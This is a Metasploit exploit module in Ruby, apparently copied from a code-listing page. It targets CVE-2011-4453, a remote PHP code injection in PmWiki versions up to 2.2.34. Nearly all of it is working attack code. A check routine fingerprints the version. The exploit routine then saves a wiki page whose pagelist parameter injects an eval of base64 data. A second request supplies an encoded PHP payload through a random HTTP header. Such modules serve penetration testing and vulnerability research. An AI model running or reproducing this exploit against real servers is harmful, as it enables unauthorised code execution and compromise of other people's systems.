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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit', 'Description'=> %q{ This module exploits an arbitrary command execution vulnerability in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is inside /scripts/pagelist.php. }, 'License'=> MSF_LICENSE, 'Author' => [ 'EgiX',# Vulnerability discovery and exploit 'TecR0c' # Metasploit Module ], 'References' => [ ['CVE', '2011-4453'], ['BID', '50776'], ['OSVDB', '77261'], ['URL', 'http://www.exploit-db.com/exploits/18149/'], ['URL', 'http://www.pmwiki.org/wiki/PITS/01271'] ], 'Privileged' => false, 'Payload'=> { 'Keys'=> ['php'], 'Space' => 4000, 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets'=> [['Automatic',{}]], 'DisclosureDate' => 'Nov 09 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('URI',[true, "The path to the pmwiki installation", "/"]), ],self.class) end def check uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version' res = send_request_raw( { 'uri' => uri }, 25) if (res and res.body =~ /pmwiki-2.[0.00-2.34]/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit p = Rex::Text.encode_base64(payload.encoded) header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) uri = datastore['URI'] uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' res = send_request_cgi({ 'method'=> 'POST', 'uri' => uri, 'vars_post' => { 'action' => 'edit', 'post' => 'save', 'n' => "#{header}.#{header_append}", 'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)", } }, 25) res = send_request_cgi({ 'method'=> 'POST', 'uri' => uri, 'headers' => { header => p, 'Connection' => 'Close', }, 'vars_post' => { 'n' => "#{header}.#{header_append}", } }, 25) end end |
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